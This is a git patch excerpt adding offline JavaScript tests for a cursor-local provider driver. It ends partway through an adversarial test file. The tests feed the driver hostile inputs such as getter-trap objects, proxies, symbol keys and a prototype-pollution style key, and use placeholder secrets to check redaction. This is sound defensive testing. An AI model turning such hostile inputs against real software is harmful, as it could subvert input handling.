mid-write'); + if (scenario === 'send_getter_bomb') { + throw new TransportFailure(undefined, `boom ${SECRET_API_KEY_PAIR}`); + } + state.acks += 1; + return { acknowledged: true, binding_digest: binding(request), session_id: request.session_id }; + }, + observe(request) { + state.observes += 1; + record('observe', request); + if (scenario === 'session_lost' && state.observes === 1) { + return { + binding_digest: binding(request), + events: ['progress line'], + session_id: request.session_id, + status: 'running', + }; + } + if (scenario === 'wrong_binding_echo' && state.observes === 1) { + return { binding_digest: 'sha256:' + '0'.repeat(64), session_id: request.session_id, status: 'running' }; + } + if (scenario === 'observe_throws') throw new Error(`observe died ${SECRET_AWS_KEY}`); + const index = state.observes; + state.observeResults.push(index); + if (scenario === 'attention') { + if (index === 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + if (!state.questionAnswered && index > 1) { + return { + binding_digest: binding(request), + question: { question_id: FIXTURE_QUESTION_ID, question_text: FIXTURE_QUESTION_TEXT }, + session_id: request.session_id, + status: 'attention', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'spec approved and drafted' : 'drafting' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + } + if (scenario === 'cancel_requested_flow') { + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index === 1 ? 'winding down' : 'stopped' } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + if (scenario === 'secret_chunks') { + if (index === 1) { + return { + binding_digest: binding(request), + events: [ + `${SECRET_SPLIT_HEAD}`, + `${SECRET_SPLIT_TAIL} rotated`, + `key material ${SECRET_API_KEY_PAIR}`, + `aws ${SECRET_AWS_KEY} leaked`, + '😀😀😀 multi-byte tail 😀', + ], + progress_text: 'streaming chunks', + session_id: request.session_id, + status: 'running', + }; + } + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { events: [`final chunk carries ${SECRET_SPLIT_HEAD}`, `${SECRET_SPLIT_TAIL} across calls`] } + : {}), + session_id: request.session_id, + status: 'completed', + }; + } + if (scenario === 'flood') { + const wantsEvents = Array.isArray(request.include) + && request.include.includes('detailed_events'); + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsEvents + ? { + events: Array.from( + { length: 40 }, + (_, i) => `chunk-${i} ${SECRET_BEARER_TOKEN}`.concat(' x'.repeat(400)), + ), + } + : {}), + ...(wantsProgress ? { progress_text: 'x'.repeat(120_000) } : {}), + session_id: request.session_id, + status: index >= 2 ? 'completed' : 'running', + }; + } + const wantsProgress = Array.isArray(request.include) + && request.include.includes('live_progress'); + return { + binding_digest: binding(request), + ...(wantsProgress + ? { progress_text: index >= state.completedAfter ? 'lane finished' : 'working' } + : {}), + session_id: request.session_id, + status: index >= state.completedAfter ? 'completed' : 'running', + }; + }, + cancel(request) { + state.cancelCalls += 1; + record('cancel', request); + state.cancels.push(cloneRequest(request)); + if (scenario === 'cancel_requested_flow') { + return { binding_digest: binding(request), outcome: 'requested', session_id: request.session_id }; + } + return { binding_digest: binding(request), outcome: 'confirmed', session_id: request.session_id }; + }, + reply(request) { + state.replies += 1; + record('reply', request); + state.replyRecords.push(cloneRequest(request)); + if (scenario === 'reply_fails_once') throw new Error('reply pipe broke'); + state.questionAnswered = true; + return { answered: true, binding_digest: binding(request), session_id: request.session_id }; + }, + }; + + const transport = { ...methods, ...overrides.transport }; + return { calls, state, transport }; +} + +// Getter-bearing hostile result helpers: reading any field through these +// objects would trip the counters. The driver must reject them with zero +// counter increments. +export function getterBombResult(base, counter, key = 'status') { + const result = { ...base }; + delete result[key]; + Object.defineProperty(result, key, { + enumerable: true, + get() { + counter.reads += 1; + return base[key]; + }, + }); + return result; +} diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs new file mode 100644 index 0000000..2442cba --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs @@ -0,0 +1,407 @@ +// Runtime tests for the CursorLocalDriverV1 reconstruction (P19): the +// accepted P17 ProviderDriverV1 lifecycle bound to an injected local +// Cursor session transport. Covers exact provenance binding, one spawn +// plus one acknowledged dispatch, the not_sent / dispatch_uncertain / +// dispatched distinctions, same-session attention replies, cancel, +// reattach, the terminal latch, already-terminal behavior, bounded +// redacted evidence, and closed receipts. Everything runs offline against +// the scripted r1-cursor-local-transport fixture; no live Cursor Local, +// network, or repository access happens here. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CANCEL_OUTCOMES, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + EVIDENCE_KINDS, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + OBSERVE_STATUSES, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateDriverDeclarationV1 } from '../mcp/v3/provider-driver.mjs'; +import { + FIXTURE_QUESTION_ID, + FIXTURE_QUESTION_TEXT, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function create(scenario = 'happy', declarationOverrides = {}) { + const stub = createCursorLocalTransportStub(scenario); + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration( + declarationOverrides.capability ?? {}, + declarationOverrides.features ?? {}, + ), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + ...(declarationOverrides.workspace_root !== undefined + ? { workspace_root: declarationOverrides.workspace_root } : {}), + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + const evidenceRequest = () => ({ + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + const replyRequest = (overrides = {}) => ({ + schema: CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + session_id: `sess-local-${stub.state.spawnCalls || 1}`, + question_id: FIXTURE_QUESTION_ID, + answer_text: 'Approved; continue.', + ...overrides, + }); + return { bound, created, request, evidenceRequest, replyRequest, stub }; +} + +function dispatch({ bound, request }) { + const preflight = bound.preflight(request('preflight')); + const launch = bound.launch(request('launch')); + return { launch, preflight }; +} + +function assertIdentityEcho(receipt, label) { + assert.equal(receipt.version, PROVIDER_DRIVER_VERSION, `${label} version`); + assert.equal(receipt.run_id, fixture.run_id, `${label} echoes run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} echoes assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} echoes lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} echoes base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} echoes child_envelope_digest`); +} + +test('the cursor-local driver description is closed and claims no transport of its own', () => { + const description = describeCursorLocalDriverV1(); + assert.equal(description.schema, CURSOR_LOCAL_DRIVER_SCHEMA_ID); + assert.equal(description.provider, CURSOR_LOCAL_PROVIDER); + assert.deepEqual([...description.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.deepEqual([...description.direct_mode], []); + assert.equal(description.durable_store, false); + assert.equal(description.workspace_semantics, 'local_managed_worktree'); + assert.equal(description.workspace_starting_point, 'run_base_sha'); + assert.equal(description.replay_posture, 'never_replay'); + assert.ok(Object.isFrozen(description)); + assert.deepEqual([...OBSERVE_STATUSES].sort(), ['attention', 'completed', 'failed', 'running']); + assert.deepEqual([...CANCEL_OUTCOMES].sort(), ['confirmed', 'requested']); + assert.deepEqual([...EVIDENCE_KINDS].sort(), ['attention', 'event', 'progress']); +}); + +test('create binds the exact P05 capability record and a four-operation driver surface', () => { + const { created } = create(); + const validated = validateDriverDeclarationV1(created.declaration); + assert.equal(validated.capability.provider, CURSOR_LOCAL_PROVIDER); + assert.equal(validated.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(validated.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(validated.capability.replay_posture, 'never_replay'); + assert.equal(validated.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(validated.capability.same_session_reply, 'live_session_reply'); + assert.equal(CAPABILITY_RECORD_ALLOWED_KEYS.length, 13); + for (const key of CAPABILITY_RECORD_ALLOWED_KEYS) { + assert.ok(Object.hasOwn(validated.capability, key), `capability key ${key}`); + } + const summary = assertProviderDriverV1(created.driver); + assert.equal(summary.schema, 'codex-co-engineer.provider-driver.v1'); + assert.equal(summary.version, PROVIDER_DRIVER_VERSION); + assert.deepEqual([...summary.operations], ['preflight', 'launch', 'reconcile', 'cancel']); + assert.deepEqual(Object.keys(created.driver).sort(), + ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(created)); + assert.ok(Object.isFrozen(created.driver)); + assert.ok(Object.isFrozen(created.controls)); +}); + +test('preflight reports readiness without spawning or sending anything', () => { + const context = create('happy'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'ready'); + assertIdentityEcho(receipt, 'preflight'); + assert.equal(receipt.detail_code, undefined); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.spawnCalls, 0, 'no spawn during preflight'); + assert.equal(context.stub.state.sends, 0, 'no dispatch during preflight'); +}); + +test('blocked preflight carries the closed detail pair and blocks the lane', () => { + const context = create('unavailable'); + const receipt = context.bound.preflight(context.request('preflight')); + assert.equal(receipt.disposition, 'blocked'); + assertIdentityEcho(receipt, 'blocked preflight'); + assert.equal(receipt.detail_code, 'transport_unavailable'); + assert.equal(typeof receipt.detail_message, 'string'); + expectCode(() => context.bound.launch(context.request('launch')), 'blocked_lane_denied', + 'a blocked preflight cannot launch'); + assert.equal(context.stub.state.spawnCalls, 0, 'blocked lanes never spawn'); +}); + +test('launch spawns exactly one session and dispatches the exact prompt once before dispatched', () => { + const context = create('happy'); + const { launch, preflight } = dispatch(context); + assert.equal(preflight.disposition, 'ready'); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, 'launch'); + assert.equal(launch.detail_code, undefined); + assert.equal(context.stub.state.spawnCalls, 1, 'exactly one spawn'); + assert.equal(context.stub.state.sends, 1, 'exactly one prompt dispatch'); + assert.equal(context.stub.state.acks, 1, 'authoritative acknowledgement received'); + const spawnRequest = context.stub.state.spawnRecords[0]; + assert.equal(spawnRequest.binding_digest.length > 0, true, 'spawn carries the binding digest'); + assert.equal(spawnRequest.model, fixture.model, 'spawn binds the exact model'); + assert.equal(spawnRequest.base_sha, fixture.base_sha, 'spawn binds the run base sha'); + assert.equal(spawnRequest.repository_path, fixture.repository_path, + 'spawn binds the repository path'); + assert.equal(spawnRequest.run_id, fixture.run_id, 'spawn binds the run id'); + const sendRecord = context.stub.state.sendRecords[0]; + assert.equal(sendRecord.prompt_text, fixture.envelope_text, + 'the exact compiled envelope text is the dispatched prompt'); + assert.equal(sendRecord.prompt_utf8_bytes, + Buffer.byteLength(fixture.envelope_text, 'utf8')); + assert.equal(sendRecord.session_id, context.stub.state.spawnRecords[0] && 'sess-local-1'); +}); + +test('reconcile observes the same session, then the terminal latch stops further observation', () => { + const context = create('happy'); + dispatch(context); + const sessionId = 'sess-local-1'; + const first = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(first.disposition, 'in_progress'); + assertIdentityEcho(first, 'reconcile'); + assert.equal(context.stub.state.observes, 1); + assert.equal(context.stub.calls[context.stub.calls.length - 1].request.session_id, sessionId, + 'observation addresses the exact spawned session'); + const second = context.bound.reconcile(context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(second.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 'terminal came from the second observation'); + const latched = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(latched.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 2, 'the terminal latch performs no further observation'); + assert.deepEqual([first.run_id, second.run_id, latched.run_id], + [fixture.run_id, fixture.run_id, fixture.run_id]); + assert.deepEqual( + [second.child_envelope_digest, latched.child_envelope_digest], + [fixture.child_envelope_digest, fixture.child_envelope_digest], + 'latched receipts preserve exact identity', + ); +}); + +test('already-terminal cancellation reports already_terminal without contacting the transport', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile')); + context.bound.reconcile(context.request('reconcile')); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'already_terminal'); + assertIdentityEcho(receipt, 'already-terminal cancel'); + assert.equal(context.stub.state.cancelCalls, 0, 'no cancel call after the terminal latch'); +}); + +test('confirmed cancellation closes the lane and preserves identity everywhere', () => { + const context = create('happy'); + dispatch(context); + const receipt = context.bound.cancel(context.request('cancel')); + assert.equal(receipt.disposition, 'cancel_confirmed'); + assertIdentityEcho(receipt, 'cancel'); + assert.equal(context.stub.state.cancelCalls, 1); + const observed = context.bound.reconcile(context.request('reconcile')); + assert.equal(observed.disposition, 'terminal'); + assert.equal(context.stub.state.observes, 0, 'a cancelled lane never observes again'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('requested cancellation stays resolvable and still ends at the terminal latch', () => { + const context = create('cancel_requested_flow'); + dispatch(context); + const requested = context.bound.cancel(context.request('cancel')); + assert.equal(requested.disposition, 'cancel_requested'); + assertIdentityEcho(requested, 'cancel_requested'); + const windingDown = context.bound.reconcile(context.request('reconcile')); + assert.equal(windingDown.disposition, 'in_progress', + 'a requested cancellation keeps observing until the provider settles'); + const settled = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach' })); + assert.equal(settled.disposition, 'terminal'); + assert.equal(context.bound.cancel(context.request('cancel')).disposition, 'already_terminal'); +}); + +test('same-session attention replies are attempt-once and bound to the exact session/question', () => { + const context = create('attention'); + dispatch(context); + const attention = context.bound.reconcile( + context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(attention.disposition, 'unresolved_attention'); + assertIdentityEcho(attention, 'attention reconcile'); + + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true); + assert.equal(receipt.schema.startsWith('codex-co-engineer.cursor-local-reply-result'), true); + assertIdentityEcho(receipt, 'reply'); + assert.equal(receipt.question_id, FIXTURE_QUESTION_ID); + assert.ok(Object.isFrozen(receipt)); + assert.equal(context.stub.state.replies, 1, 'exactly one reply attempt reached the transport'); + assert.equal(context.stub.state.replyRecords[0].answer_text, 'Approved; continue.'); + assert.equal(context.stub.state.replyRecords[0].question_id, FIXTURE_QUESTION_ID); + + expectCode(() => context.created.controls.submitAttentionReply(context.replyRequest()), + 'reply_already_attempted', 'a second reply on the same question is denied'); + assert.equal(context.stub.state.replies, 1, 'no second reply ever reaches the transport'); + + const settled = context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + assert.equal(settled.disposition, 'in_progress', + 'the lane resumes normal observation after the answer'); + const finished = context.bound.reconcile(context.request('reconcile')); + assert.equal(finished.disposition, 'terminal'); +}); + +test('reply refuses mismatches without consuming the attempt or touching the transport', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ question_id: 'q-other-9' }), + ), 'question_mismatch', 'a different question is refused'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ session_id: 'sess-unrelated' }), + ), 'uncorrelated_session', 'an uncorrelated session is refused'); + assert.equal(context.stub.state.replies, 0, 'refusals never reach the transport'); + const receipt = context.created.controls.submitAttentionReply(context.replyRequest()); + assert.equal(receipt.answered, true, 'the one attempt remains available after refusals'); +}); + +test('reply postures are pinned by the accepted P05 bridge and refuse contradiction at birth', () => { + // The accepted P17 capability bridge pins cursor-local to + // live_session_reply, so an unsupported-reply driver cannot even be + // constructed; submitAttentionReply still refuses explicitly should a + // posture ever reach it. + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration({ + same_session_reply: 'unsupported_unresolved_attention', + }), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: createCursorLocalTransportStub('attention').transport, + }), 'capability_reply_mismatch', + 'the P05 bridge refuses a cursor-local declaration that denies live replies'); +}); + +test('evidence drains as bounded frozen segments that match their byte accounting', () => { + const context = create('flood'); + dispatch(context); + const empty = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(empty.total_bytes, 0); + assert.equal(empty.truncated, false); + + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const drained = context.created.controls.readEvidence(context.evidenceRequest()); + assert.equal(drained.schema, CURSOR_LOCAL_EVIDENCE_SCHEMA_ID); + assert.equal(drained.version, PROVIDER_DRIVER_VERSION); + assert.ok(drained.total_bytes > 0, 'progress text was captured'); + let summed = 0; + for (const segment of drained.events) { + assert.ok(Object.isFrozen(segment), 'segments are frozen'); + assert.ok(segment.bytes <= MAX_EVIDENCE_SEGMENT_BYTES, 'segment byte bound'); + assert.ok(EVIDENCE_KINDS.includes(segment.kind), 'closed segment kind'); + summed += segment.bytes; + } + assert.equal(summed, drained.total_bytes, 'byte accounting matches the segments'); + assert.ok(drained.total_bytes <= MAX_LANE_EVIDENCE_BYTES, 'lane byte bound'); + assert.ok(drained.events.length <= MAX_EVIDENCE_EVENTS, 'event count bound'); + assert.ok(Object.isFrozen(drained.events)); + const again = context.created.controls.readEvidence(context.evidenceRequest()); + assert.deepEqual(again, drained, 'draining is stable and non-consuming'); + + // Short observation tails stay inside the persistent redaction window + // (so signatures cannot recombine across reconciliations) and become + // host-visible at the terminal latch flush. + const tail = create('happy'); + dispatch(tail); + tail.bound.reconcile(tail.request('reconcile', { include: INCLUDE_ALL })); + const beforeLatch = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.equal(beforeLatch.total_bytes, 0, + 'a sub-window tail stays withheld while the lane runs'); + tail.bound.reconcile(tail.request('reconcile')); + const latched = tail.created.controls.readEvidence(tail.evidenceRequest()); + assert.ok(latched.total_bytes > 0, 'the terminal latch flushes the withheld tail'); + let latchedSum = 0; + for (const segment of latched.events) latchedSum += segment.bytes; + assert.equal(latchedSum, latched.total_bytes); +}); + +test('restart_reattach reattaches to the identical session without respawning', () => { + const context = create('happy'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + const reattached = context.bound.reconcile( + context.request('reconcile', { intent: 'restart_reattach', include: INCLUDE_ALL })); + assert.ok(reattached.disposition === 'terminal' || reattached.disposition === 'in_progress', + 'restart_reattach observes the existing dispatch'); + assertIdentityEcho(reattached, 'restart_reattach'); + assert.equal(context.stub.state.spawnCalls, 1, 'restart_reattach never spawns again'); + assert.equal(context.stub.state.sends, 1, 'restart_reattach never redispatches'); +}); + +test('unsupported feature declarations fail closed on the operations that need them', () => { + const cancelling = create('happy', { features: { cancellation: 'unsupported' } }); + dispatch(cancelling); + expectCode(() => cancelling.bound.cancel(cancelling.request('cancel')), + 'unsupported_capability', 'cancellation declared unsupported fails closed'); + + const restarting = create('happy', { features: { restart: 'unsupported' } }); + dispatch(restarting); + expectCode(() => restarting.bound.reconcile( + restarting.request('reconcile', { intent: 'restart_reattach' }), + ), 'unsupported_capability', 'restart declared unsupported fails closed'); +}); + +test('control requests are quarantined by the same closed schema discipline', () => { + const context = create('attention'); + dispatch(context); + context.bound.reconcile(context.request('reconcile', { include: INCLUDE_ALL })); + + expectCode(() => context.created.controls.readEvidence({ + ...context.evidenceRequest(), extra: true, + }), 'unknown_key', 'evidence requests reject unknown keys'); + expectCode(() => context.created.controls.submitAttentionReply({ + ...context.replyRequest(), fallback: 'again', + }), 'unknown_key', 'reply requests reject fallback-shaped foreign keys'); + const missing = context.replyRequest(); + delete missing.answer_text; + expectCode(() => context.created.controls.submitAttentionReply(missing), 'missing_key', + 'reply requests derive nothing'); + expectCode(() => context.created.controls.submitAttentionReply( + context.replyRequest({ answer_text: '' }), + ), 'invalid_answer', 'empty answers are refused before the attempt'); +}); + From 01160e49e8dd6ac16dc05a9feac661e16d0eb89b Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:35:39 +0000 Subject: [PATCH 68/81] test(provider): prove the cursor-local driver against hostile callers Adversarial offline coverage for the P19 cursor-local driver: hostile option/request trees (proxies, revoked proxies, accessors, symbols, non-enumerables, exotic prototypes, sparse, cyclic, aliased, unknown-key, oversized depth) are rejected inside the same content-free quarantine with zero getter or trap executions and no hostile name or value in any code, path, or message; provenance substitution (foreign provider, model, base sha, flipped digest, tampered envelope bytes) is refused; replay, fallback keys, and second dispatches are impossible after a possible send; pre-spawn not_sent stays distinct from post-spawn dispatch_uncertain; uncorrelated sessions are never bound; lying, throwing, promise-returning, and getter-bearing transports fail closed; signature recombination across chunks, events, and reconciliations is prevented; UTF-8 byte bounds hold under flood overflow without corrupting multi-byte characters. --- ...1-cursor-local-driver-adversarial.test.mjs | 546 ++++++++++++++++++ 1 file changed, 546 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs new file mode 100644 index 0000000..2d062a5 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-local-driver-adversarial.test.mjs @@ -0,0 +1,546 @@ +// Adversarial runtime tests for the CursorLocalDriverV1 reconstruction +// (P19). Hostile descriptors, proxies, accessors, symbols, non-enumerables, +// exotic prototypes, sparse/cyclic/aliased/unknown-key inputs, provenance +// substitution, replay and fallback attempts, uncorrelated sessions, +// signature recombination, bound overflow, and lying transports must all +// fail closed inside the same content-free quarantine: no caller code runs, +// no hostile name or value escapes, and nothing is ever replayed. Everything +// runs offline against the scripted r1-cursor-local-transport fixture. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + PROVIDER_DRIVER_VERSION, + bindProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, + MAX_EVIDENCE_EVENTS, + MAX_EVIDENCE_SEGMENT_BYTES, + MAX_LANE_EVIDENCE_BYTES, + createCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { + SECRET_AWS_KEY, + SECRET_BEARER_TOKEN, + SECRET_SPLIT_HEAD, + SECRET_SPLIT_TAIL, + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; + +const fixture = buildCursorLocalFixtureV1(); +const INCLUDE_ALL = ['detailed_events', 'live_progress']; +const HOSTILE_MARKERS = [ + 'super-secret-value-1234567890', + SECRET_BEARER_TOKEN, + SECRET_AWS_KEY, + 'spawn pipe broke', + 'connection reset mid-write', + 'observe died', + '__proto__', + 'polluted', +]; + +function expectCode(fn, code, message) { + if (code === undefined) { + assert.throws(fn, (error) => error instanceof RunContractV1Error, message); + return; + } + assert.throws(fn, (error) => { + if (!(error instanceof RunContractV1Error) || error.code !== code) return false; + const text = `${error.message}\u0000${String(error.path)}`; + for (const marker of HOSTILE_MARKERS) { + assert.equal(text.includes(marker), false, + `content-free violation: ${marker} escaped into an error surface`); + } + return true; + }, message); +} + +function create(scenario = 'happy', options = {}) { + const stub = createCursorLocalTransportStub(options.scenario ?? scenario); + const created = createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: stub.transport, + }); + const bound = bindProviderDriverV1(created.driver, created.declaration); + const request = (operation, extras = {}) => + buildDriverOperationRequestV1(operation, fixture.envelope, extras); + return { bound, created, request, stub }; +} + +function dispatch(context) { + context.bound.preflight(context.request('preflight')); + return context.bound.launch(context.request('launch')); +} + +function evidenceRequest() { + return { + schema: CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; +} + +test('hostile option trees are rejected without running any caller code', () => { + const transport = createCursorLocalTransportStub('happy').transport; + const base = () => ({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport, + }); + + let getterRuns = 0; + const accessor = base(); + delete accessor.model; + Object.defineProperty(accessor, 'model', { + enumerable: true, + get() { + getterRuns += 1; + return fixture.model; + }, + }); + expectCode(() => createCursorLocalDriverV1(accessor), 'accessor_property_denied', + 'accessor options are denied'); + assert.equal(getterRuns, 0, 'option getters are never invoked'); + + expectCode(() => createCursorLocalDriverV1(new Proxy(base(), {})), 'proxy_denied', + 'proxied options are denied'); + const revocable = Proxy.revocable(base(), {}); + revocable.revoke(); + expectCode(() => createCursorLocalDriverV1(revocable.proxy), 'proxy_denied', + 'revoked proxies are denied'); + + class OptionsClass {} + expectCode(() => createCursorLocalDriverV1(Object.assign(new OptionsClass(), base())), + 'invalid_type', 'exotic option prototypes fail the plain-object gate'); + + expectCode(() => createCursorLocalDriverV1(Object.assign(base(), { [Symbol('hidden')]: 1 })), + 'symbol_key_denied', 'symbol keys are denied'); + const hidden = base(); + Object.defineProperty(hidden, 'run_base_sha', { + value: fixture.base_sha, enumerable: false, + }); + expectCode(() => createCursorLocalDriverV1(hidden), 'non_enumerable_property_denied', + 'non-enumerable keys are denied'); + expectCode(() => createCursorLocalDriverV1({ ...base(), polluted: '__proto__' }), + 'unknown_key', 'unknown option keys are denied'); + const incompleteNullProto = base(); + const nullProto = Object.assign(Object.create(null), transport); + delete nullProto.reply; + incompleteNullProto.transport = nullProto; + expectCode(() => createCursorLocalDriverV1(incompleteNullProto), 'invalid_surface', + 'null-prototype transports still need the exact method set'); + const completeNullProto = createCursorLocalDriverV1({ ...base(), transport: Object.assign(Object.create(null), transport) }); + assert.equal(completeNullProto.provider, 'cursor-local', + 'a complete null-prototype transport is plain data and is accepted'); +}); + +test('the transport surface accepts only plain concrete methods', () => { + const build = (transportOverrides, scenario = 'happy') => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: { ...createCursorLocalTransportStub(scenario).transport, ...transportOverrides }, + }); + + expectCode(() => build({ observe: undefined }).driver, 'invalid_operation', + 'undefined methods are denied'); + expectCode(() => build({ reply: 42 }).driver, 'invalid_operation', + 'non-function methods are denied'); + const accessorTransport = {}; + for (const method of ['availability', 'cancel', 'observe', 'reply', 'send']) { + accessorTransport[method] = () => ({}); + } + Object.defineProperty(accessorTransport, 'spawn', { + enumerable: true, get: () => () => ({}), + }); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: accessorTransport, + }), 'invalid_operation', 'accessor methods are denied'); + expectCode(() => build({}, 'happy').driver && createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: new Proxy(createCursorLocalTransportStub('happy').transport, {}), + }), 'proxy_denied', 'proxied transports are denied'); + const extra = createCursorLocalTransportStub('happy').transport; + extra.respawn = () => ({}); + expectCode(() => createCursorLocalDriverV1({ + declaration: cursorLocalDeclaration(), + model: fixture.model, + run_base_sha: fixture.base_sha, + transport: extra, + }), 'invalid_surface', 'extra transport methods are denied'); +}); + +test('provenance substitution and omitted-field derivation are refused on every surface', () => { + const dshFixture = buildCursorLocalFixtureV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor', run_id: 'substituted-dsh-run', + }); + const grokFixture = buildCursorLocalFixtureV1({ + provider: 'grok', model: 'grok-4', run_id: 'substituted-grok-run', + }); + const foreignModel = buildCursorLocalFixtureV1({ + model: 'other-model-9', run_id: 'other-model-run', + }); + const wrongBase = buildCursorLocalFixtureV1({ + base_sha: 'a2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c2', + run_id: 'other-base-run', + }); + + const context = create('happy'); + for (const [label, foreign] of [ + ['dsh envelope', 